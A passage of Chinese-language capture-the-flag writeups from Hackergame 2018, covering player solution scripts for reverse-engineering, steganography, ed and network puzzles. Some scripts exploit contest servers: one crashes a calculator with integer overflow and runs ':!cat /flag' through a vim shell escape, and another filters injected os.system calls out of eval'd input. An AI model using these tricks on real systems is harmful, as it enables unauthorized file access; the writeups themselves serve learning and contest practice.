'\x21\x00\x00\x00\x07\x00\x00\x00' + aes_key 21 | payload = payload.encode('hex').upper() + '\n' 22 | # print payload 23 | # exit() 24 | server_addr = 'ustcctfbase7l74q.onion 2333' 25 | welcome_msg = '''Welcome, cyber warriors, to the lost temple of FLXG! 26 | For your own safety, you need to show me the blueprint of this trial. You won't pass the trial safely without it. 27 | To be precise, we just need the CRC32 of the blueprint, in UPPERCASE format.\n''' 28 | second_msg = '''Great! As a reward, take this magic spell with you. 29 | Although it is not that powerful, I hope it will help you somehow. 30 | flxg{But_the_Sun_Also_Rises} 31 | Now, go ahead for the trial. CWK is waiting for you. 32 | 33 | You have two choices: 34 | 0. Register 35 | 1. Start Trial 36 | Now, show me your power. 37 | flxg{''' 38 | socks.set_default_proxy(socks.SOCKS5, "127.0.0.1", 9150) 39 | tor_sock = socks.socksocket(socket.AF_INET, socket.SOCK_STREAM) 40 | tor_sock.connect(('ustcctfbase7l74q.onion', 2333)) 41 | tor_sock.send('3D6540C7\n') 42 | tor_sock.send('1\n'+payload+'\n') 43 | recved = '' 44 | while(len(recved) <= len(welcome_msg+second_msg)): 45 | recved += tor_sock.recv(2048) 46 | print recved 47 | tor_sock.close() 48 | -------------------------------------------------------------------------------- /players/fatykrch/trail/trial: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/trail/trial -------------------------------------------------------------------------------- /players/fatykrch/trail/trial.webp: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/trail/trial.webp -------------------------------------------------------------------------------- /players/fatykrch/trail/trial2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/trail/trial2.png -------------------------------------------------------------------------------- /players/fatykrch/trail/trial_patched: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/fatykrch/trail/trial_patched -------------------------------------------------------------------------------- /players/fatykrch/typed_printf/README.md: -------------------------------------------------------------------------------- 1 | ### 猫咪和键盘 2 | 3 | 观察typed_printf.cpp,发现是被打乱了的文件,但是打乱地很有规律,看起来每行的打乱方式相同;于是根据C语言的语法分析出每行重新拼接的方式,使用python脚本进行还原 4 | 5 | typed_printf.py: 6 | 7 | data = open('typed_printf.cpp', 'rb').read().split('\n')[:-1] 8 | result = '' 9 | for line in data: 10 | tmp_line = line[0] + line[32:39] + line[1:7] + line[20:22] + line[8:20] + line[22:32] + line[39:] 11 | while(len(tmp_line) and tmp_line[-1] == ' '): 12 | tmp_line = tmp_line[:-1] 13 | result += tmp_line+'\n' 14 | open('typed_printf_fixed.cpp', 'wb').write(result) 15 | 16 | 还原出typed_printf\_fixed.cpp后尝试编译但是可能环境有什么问题并没有通过,观察main()函数: 17 | 18 | #define ABC "FfQ47if9Zxw9jXE68VtGA" 19 | #define BAC "JDk6Y6Xc88UrUtpK3iF8p" 20 | #define CAB "7BMs4y2gzdG8Ao2gv6aiJ" 21 | 22 | int main(){ 23 | def_typed_printf(f_l_x_g_1, "%s%s%s%s"); 24 | f_l_x_g_1("fl")("a")("g")("{"); 25 | def_typed_printf(a_a_a_a_a_a_a_a_a, "%s%s%s%s%s%s%d"); 26 | a_a_a_a_a_a_a_a_a(ABC)("")(BAC)("")(CAB)("")('}'); 27 | def_typed_printf(def_typed_printf_, "%s%d%s"); 28 | def_typed_printf_("typed_printf")('_')("}"); 29 | return 0; 30 | } 31 | 32 | 容易发现其实是这样的逻辑: 33 | 34 | printf("%s%s%s%s", "fl", "a", "g", "{"); 35 | printf("%s%s%s%s%s%s%d", ABC, "", BAC, "", CAB, "", '}');//注意这里的}并不是flag结束而是作为数字被输出出来 36 | printf("%s%d%s", "typed_printf", '_', "}");//这个}才是flag结束 37 | 38 | 得到flag{FfQ47if9Zxw9jXE68VtGAJDk6Y6Xc88UrUtpK3iF8p7BMs4y2gzdG8Ao2gv6aiJ125typed_printf95} 39 | 40 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/typed_printf/typed_printf.py: -------------------------------------------------------------------------------- 1 | 2 | data = open('typed_printf.cpp', 'rb').read().split('\n')[:-1] 3 | result = '' 4 | for line in data: 5 | tmp_line = line[0] + line[32:39] + line[1:7] + line[20:22] + line[8:20] + line[22:32] + line[39:] 6 | while(len(tmp_line) and tmp_line[-1] == ' '): 7 | tmp_line = tmp_line[:-1] 8 | result += tmp_line+'\n' 9 | open('typed_printf_fixed.cpp', 'wb').write(result) -------------------------------------------------------------------------------- /players/fatykrch/vkandproofs/README.md: -------------------------------------------------------------------------------- 1 | ### 一些宇宙真理 2 | 3 | 根据题意,看到提示图片以及`fork from ...`就知道删改了哪些代码了,通过查看commit记录或者查看原库代码进行对比都可以。然而知道了之后还是要自己写一下读入vk和proof的代码,需要找到对应的声明类型,可以参考一下改过的代码中保存proof的代码以及源文件中读入pk的代码。 4 | 5 | 修改后的文件见[test.cpp](test.cpp) 6 | 7 | [返回](../) -------------------------------------------------------------------------------- /players/fatykrch/vkandproofs/test.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include 7 | 8 | #include "snark.hpp" 9 | #include "test.h" 10 | 11 | using namespace libsnark; 12 | using namespace std; 13 | 14 | int main(int argc, char**argv) 15 | { 16 | // Initialize the curve parameters. 17 | default_r1cs_ppzksnark_pp::init_public_params(); 18 | 19 | r1cs_ppzksnark_verification_key verificationKey_in; 20 | ifstream fileIn("vk"); 21 | stringstream verificationKeyFromFile; 22 | if (fileIn) { 23 | verificationKeyFromFile << fileIn.rdbuf(); 24 | fileIn.close(); 25 | } 26 | verificationKeyFromFile >> verificationKey_in; 27 | 28 | bool res; 29 | stringstream proofStream; 30 | stringstream resultStream; 31 | for(int i = 1; i < 80; ++i) { 32 | stringstream proofFileNameStream; 33 | r1cs_ppzksnark_proof proof; 34 | proofFileNameStream << "proof/proof_" << i; 35 | std::string proofFileName = proofFileNameStream.str(); 36 | fileIn.open(proofFileName); 37 | cout << proofFileNameStream.str() << endl; 38 | proofStream << fileIn.rdbuf(); 39 | proofStream >> proof; 40 | fileIn.close(); 41 | res = run_verify(verificationKey_in, proof); 42 | if(res == true){ 43 | resultStream << "1"; 44 | }else{ 45 | resultStream << "0"; 46 | } 47 | } 48 | ofstream fileOut; 49 | fileOut.open("result"); 50 | fileOut << resultStream.rdbuf(); 51 | fileOut.close(); 52 | } 53 | 54 | bool run_verify(r1cs_ppzksnark_verification_key &vk, r1cs_ppzksnark_proof &proof){ 55 | std::vector h1_bv(256); 56 | std::vector h2_bv(256); 57 | std::vector x_bv(256); 58 | std::vector r1_bv(256); 59 | std::vector r2_bv(256); 60 | 61 | { 62 | h1_bv = int_list_to_bits({169, 231, 96, 189, 221, 234, 240, 85, 213, 187, 236, 114, 100, 185, 130, 86, 231, 29, 123, 196, 57, 225, 159, 216, 34, 190, 123, 97, 14, 57, 180, 120}, 8); 63 | h2_bv = int_list_to_bits({253, 199, 66, 55, 24, 155, 80, 121, 138, 60, 36, 201, 186, 221, 164, 65, 194, 53, 192, 159, 252, 7, 194, 24, 200, 217, 57, 55, 45, 204, 71, 9}, 8); 64 | x_bv = int_list_to_bits({122, 98, 227, 172, 61, 124, 6, 226, 115, 70, 192, 164, 29, 38, 29, 199, 205, 180, 109, 59, 126, 216, 144, 115, 183, 112, 152, 41, 35, 218, 1, 76}, 8); 65 | r1_bv = int_list_to_bits({180, 34, 250, 166, 200, 177, 240, 137, 204, 219, 178, 17, 34, 14, 66, 65, 203, 6, 191, 16, 141, 210, 73, 136, 65, 136, 152, 60, 117, 24, 101, 18}, 8); 66 | r2_bv = int_list_to_bits({206, 64, 25, 10, 245, 205, 246, 107, 191, 157, 114, 181, 63, 40, 95, 134, 6, 178, 210, 43, 243, 10, 217, 251, 246, 248, 0, 21, 86, 194, 100, 94}, 8); 67 | } 68 | return verify_proof(vk, proof, h1_bv, h2_bv, x_bv); 69 | } 70 | 71 | bool run_test(r1cs_ppzksnark_proving_key& pk) { 72 | return true; 73 | } 74 | -------------------------------------------------------------------------------- /players/fjw/README.md: -------------------------------------------------------------------------------- 1 | # 猫咪克星 2 | 3 | by fjw 4 | 5 | 啊看这个这么显然的就是想让你用 Python `eval()` 那我就来一个呗。 6 | 7 | 自己试着跑一下看看规律,然后首先要处理交互问题。基于我在 GitHub 上做了半年多的一个大型开源项目的经验(谦虚地不放链接),第一想法是 `subprocess.Popen` 了。把 `nc` 打开然后对它的标准输入输出进行读写。 8 | 9 | ```python 10 | import subprocess as sp 11 | 12 | CMD = "nc 202.38.95.46 12009".split() 13 | 14 | p = sp.Popen(CMD, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE) 15 | 16 | print(p.stdout.readline()) # 过滤掉第一行 17 | ``` 18 | 19 | 接下来放个循环干一下试试: 20 | 21 | ```python 22 | while True: 23 | i = p.stdout.readline().strip().decode("utf-8") 24 | print(i) 25 | t = str(eval(i)) 26 | print(t) 27 | p.stdin.write((t + "\n").encode("utf-8")) 28 | p.stdin.flush() 29 | ``` 30 | 31 | (注:那个 `p.stdin.flush()` 坑了我好久,原来写入换行符没有自动 flush 的。。。) 32 | 33 | 很快就出现问题了,那个 `i` 可能包含奇怪的东西,例如 `exit()` 需要过滤。当然,更保险的办法是验证一下表达式是否合法,然后再运行。还是考虑到我有那个大型开源项目的经验 (这次毫不谦虚地把[链接](https://github.com/Charcoal-SE/SmokeDetector)放了出来,滑稽),我选择 `regex` (注:需要从 PyPI 下载安装,当然也可以直接用自带的 `re` 替换)。 34 | 35 | 数一数正常表达式中会出现的字符以及需要替换的东西,列出两个正则: 36 | 37 | ```python 38 | import regex 39 | validator = regex.compile(r"""^(?:[0-9()+*/=^&%<>|!\s-]|int)*$""") 40 | replacer = regex.compile(r"""exit\(\)""") 41 | ``` 42 | 43 | 同时修改那个有点危险的循环,加入一个 `input()` 让我有机会观察异常表达式: 44 | 45 | ```python 46 | while True: 47 | i = p.stdout.readline().strip().decode("utf-8") 48 | print(i) 49 | if validator.search(i): 50 | t = str(eval(i)) 51 | else: 52 | i = replacer.sub("None", i) # <<<<<<<<<<<<<<<< 53 | print("Replaced: {}".format(i)) 54 | if validator.search(i): 55 | t = str(eval(i)) 56 | else: 57 | t = input() 58 | if t.strip() == "stop": 59 | break 60 | print(t) 61 | p.stdin.write((t + "\n").encode("utf-8")) 62 | p.stdin.flush() 63 | ``` 64 | 65 | 等等我忘了把自己替换出来的 `None` 给加进验证器里了: 66 | 67 | ```python 68 | validator = regex.compile(r"""^(?:[0-9()+*/=^&%<>|!\s-]|int|None)*$""") 69 | ``` 70 | 71 | 72 | 73 | 再跑几回,把可能出现的异常表达式都加进 `replacer` 里面: 74 | 75 | ```python 76 | replacer = regex.compile(r"""(exit\(\)|__import__\('time'\).sleep\(\d+\)|__import__\('os'\).system\('find ~'\)|print\('[\\x0-9a-f]+'\))""") 77 | ``` 78 | 79 | 最后发现 flag 并停止,把这个也加进去,得到最终代码: 80 | 81 | ```python 82 | import subprocess as sp 83 | import regex 84 | 85 | CMD = "nc 202.38.95.46 12009".split() 86 | 87 | p = sp.Popen(CMD, stdin=sp.PIPE, stdout=sp.PIPE, stderr=sp.PIPE) 88 | 89 | print(p.stdout.readline()) 90 | 91 | validator = regex.compile(r"""^\s*(?:[0-9()+*/=^&%-<>|!\s]|int|None)*\s*$""") 92 | replacer = regex.compile(r"""(exit\(\)|__import__\('time'\).sleep\(\d+\)|__import__\('os'\).system\('find ~'\)|print\('[\\x0-9a-f]+'\))""") 93 | 94 | while True: 95 | i = p.stdout.readline().strip().decode("utf-8") 96 | print(i) 97 | if validator.search(i): 98 | t = str(eval(i)) 99 | elif i.startswith("flag{"): 100 | print("Flag found, end.") 101 | exit(0) 102 | else: 103 | i = replacer.sub("None", i) 104 | print("Replaced: {}".format(i)) 105 | if validator.search(i): 106 | t = str(eval(i)) 107 | else: 108 | t = input() 109 | if t.startswith("."): 110 | break 111 | print(t) 112 | p.stdin.write((t + "\n").encode("utf-8")) 113 | p.stdin.flush() 114 | ``` 115 | 116 | 运行,安全通过,得到 flag: 117 | 118 | ``` 119 | flag{'Life_1s_sh0rt_use_PYTH0N'*1000} 120 | Flag found, end. 121 | ``` 122 | 123 | -------------------------------------------------------------------------------- /players/jauntyliu/writeup.md: -------------------------------------------------------------------------------- 1 | ### 回到过去 2 | #### 背景和题目设定 3 | 一道简单题目,考察选手对\Unix环境基本操作的熟悉程度,和对输入输出重定向等的基本理解。 4 | 灵感来源于*Unix Hater's Handbook*,这也是小L同学第一次知道还有ed这个~~鬼畜~~编辑器。事实上,当你把环境变量*$TERM*设置为一个*terminfo*中没有的终端类型时,比如 5 | > export TERM=vt233 6 | 7 | 那么各种~~牛鬼蛇神~~编辑器就都不太能正常工作了——比如新手友好的*nano*: 8 | > Error opening terminal: vt233. 9 | 10 | 不过友好的Vim会猜测你的终端是ansi,继而在你的终端模拟器上运行。但如果你的终端模拟器是一个毫不解析控制字符的傻终端呢? 11 | 除了用*cat*编辑文件,你还可以用*ed*。 12 | 13 | ed虽然已经埋入历史的尘埃,但是它还是[Single Unix Specification](https://en.wikipedia.org/wiki/Single_UNIX_Specification)的一部分。 14 | 15 | #### 一个典型的解题思路 16 | 第一步,看到题面上的提示:*忘记保存文件*、*ed编辑器*、*info ed*、*给定输入序列* 17 | 第二步,去看看*info ed*: 18 | 19 | > 首先,*ed*是一个Line Editor(行编辑器),这意味着用户进行的编辑操作无法在屏幕上得到所见即所得的反馈。*ed*在内存中维护一个缓冲区,用户所有的修改都会存在缓冲区中,直到*w filename*命令将其写入文件。 20 | 21 | > a命令用于向缓冲区的末尾加入文本,以单独一行的*.*(英文句点)作为结束输入的标志。 22 | 23 | > *,p* 命令可以向屏幕输出缓冲区的内容。 24 | > *2* (一个单独的行号)用于选择需要修改的行。 25 | > *s/old/new* 可以替换选择行中的*old*为*new*。 26 | > *2m3* (行号m行号)命令可以将第2行挪到第3行后面。特别的,*2m0*表示把第二行放在第一行前面。 27 | > *q* 命令用于退出*ed*编辑器。 28 | > 值得注意的是*ed*独特的报错方式:一个大大的**?**。特别的,一个缓冲区没有保存的ed需要两个*q*命令才可以退出,第一个*q*命令的结果是一个大大的**?**。 29 | 30 | 第三步,继续看题目的*input_sequence*: 31 | > q 32 | ed 33 | a 34 | flag{ 35 | . 36 | a 37 | 44a2b8 38 | a3d9b2[ESC]c 39 | c44039 40 | f93345 41 | } 42 | . 43 | 2m3 44 | 2m5 45 | 2m1 46 | 2 47 | s/4/t 48 | q 49 | q 50 | 51 | 前面的q和ed是上一次ed会话的残留,我们应该先删去。 52 | 然后发现他没有保存,所以删去末尾的q,加上 *w flag.txt*,变成这样: 53 | 54 | > a 55 | flag{ 56 | . 57 | a 58 | 44a2b8 59 | a3d9b2ESCc 60 | c44039 61 | f93345 62 | } 63 | . 64 | 2m3 65 | 2m5 66 | 2m1 67 | 2 68 | s/4/t 69 | w flag.txt 70 | q 71 | 72 | 并且运行 73 | > ed < input_sequence 74 | > less flag.txt 75 | 76 | 得到*flag.txt*如下: 77 | > flag{ 78 | t4a2b8 79 | c44039 80 | f93345 81 | a3d9b2ESCc 82 | } 83 | 84 | 发现一个神秘的ESCc,那是什么?那其实是一个*转义序列*,用来控制终端的行为。在本例中为清屏。值得注意,“ESC”并不是三个普通的字母,而是一个不可打印字符,而*less*为了向用户显示,所以写成“ESC”,并且用白底标出。所以,如果你直接运行 85 | > cat flag.txt 86 | 87 | 你将不能看到完整的flag。 88 | 所以,本题的flag是flag{*t4a2b8c44039f93345a3d9b2*}。 89 | 可能最后的Escape Sequence有些小坑,但是没有这一道小弯弯不就不*DEC VT终端*了?(大雾 90 | -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/1.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/lcy/Confused_flxg_writeup/1.PNG -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/2.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/lcy/Confused_flxg_writeup/2.PNG -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/3.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/lcy/Confused_flxg_writeup/3.PNG -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/4.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/lcy/Confused_flxg_writeup/4.PNG -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/5.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/lcy/Confused_flxg_writeup/5.PNG -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/6.PNG: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/ustclug/hackergame2018-writeups/8f1988b4182335af751e147fd7eae1fcc5206341/players/lcy/Confused_flxg_writeup/6.PNG -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/README.md: -------------------------------------------------------------------------------- 1 | 2 | # 困惑的flxg小程序解题writeup 3 | 4 | 我们先把程序拖入ida,等ida分析完毕后,我们先从所有字符串下手! 5 | 6 | 7 | ![1](1.PNG) 8 | 9 | * 拖入ida,一般来说都先从字符串入手,有一个像是生成base64的字符串,还有一个像是逆序的base64字符串,解出来:flxg{I_am_A_fake_flag_23333},恩,好吧,那我们看看程序别的信息,我们会发现有一个进入异常的string可能这道题目和C++异常有关,看到那么多函数,瞬间有点懵,没事慢慢来,先看哪些系统函数被调用了!* 10 | 11 | ![2](2.PNG) 12 | 我们看到如此多的函数,我们找到结尾为498F的这个函数,里面运用了strrev来翻转字符串。恩,这应该就是解密函数。 13 | 我们来分析这个解密函数。 14 | 1.qmemcpy((void *)(a1 + 800), &unk_1400054D8, 0x39ui64); 15 | > 此句将一串怪异的字符串复制到了一个内存地址。我们跟随一下这个地址里面的内容 16 | ![3](3.PNG) 17 | 18 | ```C 19 | 00000001400054D0 0A 00 00 00 00 00 00 00 39 65 45 54 77 5F 34 5F ........9eETw_4_ 20 | 00000001400054E0 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 d_fh<4XU.C!K. Cv 21 | 00000001400054F0 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 _ LMzSp}VMeGL]qC 22 | 0000000140005500 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D .oGHB..MtE.i.M[m 23 | ``` 24 | 25 | 2. 我们接着分析经过sub——140001590函数后将一块内存地址初始化为0 26 | 27 | 3. 我们继续分析 28 | 29 | ```C 30 | do 31 | { 32 | *(_BYTE *)(a1 + 32) = **(_BYTE **)(a1 + 80); 33 | **(_BYTE **)(a1 + 48) = *(_BYTE *)(a1 + 32); 34 | ++*(_QWORD *)(a1 + 80); 35 | ++*(_QWORD *)(a1 + 48); 36 | } 37 | ``` 38 | 39 | 这一段代码类似于strcpy() 40 | 41 | 4. 接着我们看到了调用了strrev函数,这个函数翻转了字符串的内容 42 | 43 | 5. 接着我们往下看 44 | ```C 45 | *(_BYTE *)(a1 + *(signed int *)(a1 + 36) + 592) = *(_BYTE *)(a1 + 36) ^ *(_BYTE *)(a1+ *(signed int *)(a1 + 36) + 176); 46 | ``` 47 | 48 | 这是在for循环里的xor操作,*(_BYTE *)(a1 + 36)就像我们for()中的 i 循环变量。 49 | 50 | 之后就没有什么加密的操作了 51 | 52 | 我们将我们发现的那一段字符串整理出来。 53 | ![4](4.PNG) 54 | 55 | 我们跟据我们的分析来写解密程序 56 | 57 | ```Python 58 | #!/usr/bin/env python3 59 | import base64 60 | gotlist = "39 65 45 54 77 5F 34 5F 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D".split() 61 | flxg = "" 62 | ccc = 0 63 | for i in gotlist: 64 | flxg = flxg + str(chr(int("0x"+i,base=16)^ccc)) 65 | ccc = ccc + 1 66 | 67 | print("We got xor:" + flxg) 68 | flxg = flxg[::-1] 69 | print("We reverse it, we get:" + flxg) 70 | flxg = base64.b64decode(bytes(flxg,'utf-8')) 71 | print("We will get the flag:" + str(flxg)) 72 | ``` 73 | 74 | 运行后我们就得到了我们的flxg 75 | ![6](6.PNG) 76 | -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/fixCondused_flxg.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | import base64 4 | 5 | gotlist = "39 65 45 54 77 5F 34 5F 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D".split() 6 | 7 | flxg = "" 8 | ccc = 0 9 | for i in gotlist: 10 | flxg = flxg + str(chr(int("0x"+i,base=16)^ccc)) 11 | ccc = ccc + 1 12 | 13 | print("We got xor:" + flxg) 14 | 15 | flxg = flxg[::-1] 16 | print("We reverse it, we get:" + flxg) 17 | 18 | flxg = base64.b64decode(bytes(flxg,'utf-8')) 19 | 20 | print("We will get the flag:" + str(flxg)) 21 | -------------------------------------------------------------------------------- /players/lcy/Confused_flxg_writeup/flxg.txt: -------------------------------------------------------------------------------- 1 | 00000001400054D0 0A 00 00 00 00 00 00 00 39 65 45 54 77 5F 34 5F ........9eETw_4_ 2 | 00000001400054E0 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 d_fh<4XU.C!K. Cv 3 | 00000001400054F0 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 _ LMzSp}VMeGL]qC 4 | 0000000140005500 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D .oGHB..MtE.i.M[m 5 | 6 | 39 65 45 54 77 5F 34 5F 64 5F 66 68 3C 34 58 55 7F 43 21 4B 7F 20 43 76 5F 20 4C 4D 7A 53 70 7D 56 4D 65 47 4C 5D 71 43 18 6F 47 48 42 18 1C 4D 74 45 01 69 00 4D 5B 6D -------------------------------------------------------------------------------- /players/nicekingwei/README.md: -------------------------------------------------------------------------------- 1 | # nicekingwei 2 | 3 | (author of typed_printf.cpp) 4 | 5 | 主办方能用我的代码来出题,我感到很荣幸,虽然题目并不是考 cpp 元编程或 dependent type 之类的东西(那就成了pl知识竞赛了233)。其实我个人并不是很喜欢 cpp,因为实现一个 typed printf 都要这么麻烦(>_>)。最后打个广告吧?欢迎大家加入 zju lambda 和我们一起讨论 pl/fp 相关知识,虽然我们大部分时间是在吹水和复读……(各位都是参加 ctf 比赛的,群号应该不用我放了吧嘻嘻) 6 | 7 | -------------------------------------------------------------------------------- /players/soha/audiophile.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## 0x11 数理基础扎实的发烧友 4 | 5 | 拿到压缩包打开发现是张图片和一个隐写程序。bmp图片上大大的DSD,一看就是图片给藏了一个音频文件了。又用 Ps 拉了一下曲线,很明显有数据藏着嘛。 6 | 7 | ![Snipaste_2018-10-12_01-39-57.png](./images/1962830901.png) 8 | 9 | 我又反编译了一下 stegan.exe 看了两眼也大概了解了隐写过程。我比较菜,并不知道到 bmp 图片上那个就是 Delta-Sigma Modulate,这是后来才发现的。 10 | 11 | ![Snipaste_2018-10-12_01-43-41.png](./images/982647386.png) 12 | 13 | 那么就从这里入手对图片进行处理,剥离出数据部分然后就得到了 DSD 的二进制数据。 14 | 15 | ![Snipaste_2018-10-12_01-49-46.png](./images/2572283108.png) 16 | 17 | 网上搜了一份比较常用的 DSD 音频格式 DSF 的文档,给这些二进制流数据加上文件头使之成为一个成熟的音频。 18 | 19 | ![Snipaste_2018-10-12_01-59-33.png](./images/3723102722.png) 20 | 21 | 然后用 ffmpeg 给他转换回 wav 格式的文件。怎么从音频文件中解出数据是个关键。我在这里卡了俩小时。因为最初的没有把采样频率转到 44.1kHz 的时候,在 70kHz 的频谱上有些空格有音频有些空格是空的,所以我最初以为是一串二进制什么的然后通过 ASCII 拿到 flag。然后就这么闷头撞了一个多小时的墙。 22 | 23 | 后来转了采样频率之后才发现 600-1.5kHz 这里别有洞天啊!不得不说先入为主思想的确不是个好东西。它让我在“猫咪银行”卡了好久,现在又让我在这里卡了半个小时。为什么这么说呢?因为之前我以为是二进制串,我脑子没转过来,继续尝试在 0.6-1.5kHz 种找出二进制串,找了半天规律。听着听着,发现这个音频里的声音怎么这么耳熟呢?每一块怎么就这么恰巧是两个音呢?我一拍大腿,妈呀,这是 DTMF *\([Wikipedia](https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling)\)* 啊!然后就只要根据每一块的音翻译出来就好了。 24 | 25 | ![Snipaste_2018-10-12_02-05-55.png](./images/1281997036.png) 26 | 27 | 根据 DTMF 信号翻译出来的是这个东西。 28 | 29 | ``` 30 | 102#108#97#103#123#102#105#114#101#95#119#97#116#101#114#95#110#117#99#108#101#97#114#125 31 | ``` 32 | 33 | 刚翻译到第四个 `#` 的时候,我就觉得这是 ASCII 的十进制表示。也的确是这样,按 `#` 分割然后用 ASCII 翻译出来了这个玩意儿: 34 | 35 | ``` 36 | flag{fire_water_nuclear} 37 | ``` 38 | 39 | 火电、水电、核电,给你不一样的 Hi-Fi 体验。 40 | -------------------------------------------------------------------------------- /players/soha/calculator.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## 0x14 "C 语言作业" 4 | 5 | 下载 calc,这个肯定是反编译了。打开 IDA 发现 main 函数十分正常,各种输入也安全。 6 | 7 | ![Snipaste_2018-10-14_00-09-56.png](./images/93953137.png) 8 | 9 | 看函数列表发现有个 `__init` ,于是点进去看了,发现注册了一系列信号触发事件,触发的是 `__err` ,这个函数是这样的。 10 | 11 | ![Snipaste_2018-10-14_00-12-13.png](./images/4276237654.png) 12 | 13 | 触发事件很简单,只要让计算崩溃就好了。于是我选择了 `-2147483648/-1` 。 14 | 15 | ![Snipaste_2018-10-14_00-19-53.png](./images/2533851744.png) 16 | 17 | 嗯……这里提供了一个运行外部程序的功能,但是 `sh` 被屏蔽了,而且用了 `execlp` 所以不能传参数,也没有可以缓冲区溢出的漏洞。于是中午我试了一下 `vi` `emacs` 等编辑器,发现它们都不存在。于是一时解题陷入了僵局。 18 | 19 | 于是我的一整个下午和晚上都在各种查资料各种测试,尝试从 `calc` 层面搞定(没有切入点,这当然是徒劳的)。 20 | 21 | 直到我洗完澡后不死心又试了一个 `vim` …… 22 | 23 | 居然还真有…… 24 | 25 | 我tm浪费了大半天的时间,就因为我中午偷懒了没试 `vim` 存不存在??? 26 | 27 | 行吧栽在了自己手里。 28 | 29 | 现在手速有点不够用了,于是我拿出了 py。 30 | 31 | ```python 32 | from socket import * 33 | tcpClient=socket(AF_INET,SOCK_STREAM) 34 | tcpClient.connect(("202.38.95.46",12008)) 35 | 36 | while True: 37 | data=tcpClient.recv(1024) 38 | if len(data) is 0: 39 | exit() 40 | data=data.decode(encoding="ascii") 41 | print data 42 | try: 43 | if 'flag{' in data: 44 | exit() 45 | if ">>>" in data: 46 | tcpClient.send("-2147483648/-1\n".encode(encoding="ascii")) 47 | if "examine" in data: 48 | tcpClient.send("vim\n".encode(encoding="ascii")) 49 | tcpClient.send(":!cat /flag\n".encode(encoding="ascii")) 50 | tcpClient.send(":!cat /flag\n".encode(encoding="ascii")) 51 | tcpClient.send(":!cat /flag\n".encode(encoding="ascii")) 52 | 53 | except Exception as e: 54 | pass 55 | 56 | tcpClient.close() 57 | ``` 58 | 59 | 然后通过 vim 里敲的 `:!cat /flag` ,这坑爹玩意儿居然说 `The real flag is in the file "-"` ! 60 | 61 | 行吧,把 `/flag` 改成 `/-` 再来一次。解决。 62 | 63 | ![Snipaste_2018-10-14_00-21-02.png](./images/441423199.png) 64 | 65 | *看了官方题解后:我居然没意识到进入 vim 以后就没有 5s 的时限了!* 66 | -------------------------------------------------------------------------------- /players/soha/confused_flxg.md: -------------------------------------------------------------------------------- 1 | [返回](./README.md) 2 | 3 | ## 0x16 "困惑的 flxg 小程序" 4 | 5 | 打开程序不管输什么看起来都没做过任何事情的样子。 6 | 7 | ![Snipaste_2018-10-15_22-38-23.png](./images/3227366260.png) 8 | 9 | 直接开 IDA 上反编译! 10 | 11 | ![Snipaste_2018-10-15_22-43-51.png](./images/2702735753.png) 12 | 13 | 通过查找 flxg 找到了这里,似乎在参数格式刚好等于 60 个的时候会触发一个 Exception……难道是这里?试一下! 14 | 15 | ![Snipaste_2018-10-15_22-51-28.png](./images/4210065068.png) 16 | 17 | 的确!就是这里!找到这部分代码,然后让 IDA 帮我们生成伪代码。 18 | 19 | ![Snipaste_2018-10-15_22-53-58.png](./images/4118228921.png) 20 | 21 | 可以看到这里对用户输入转为 base64 后再进行反转了以后做了一波异或,再和系统里面存储的一个字符串进行比对。因此用 `s[i] = i^s[i]` 把 `unk_7FF75AA154D8` 这里存储的长度为 56 的字符串转回 base64。就可以得到 flag 啦! 22 | 23 | 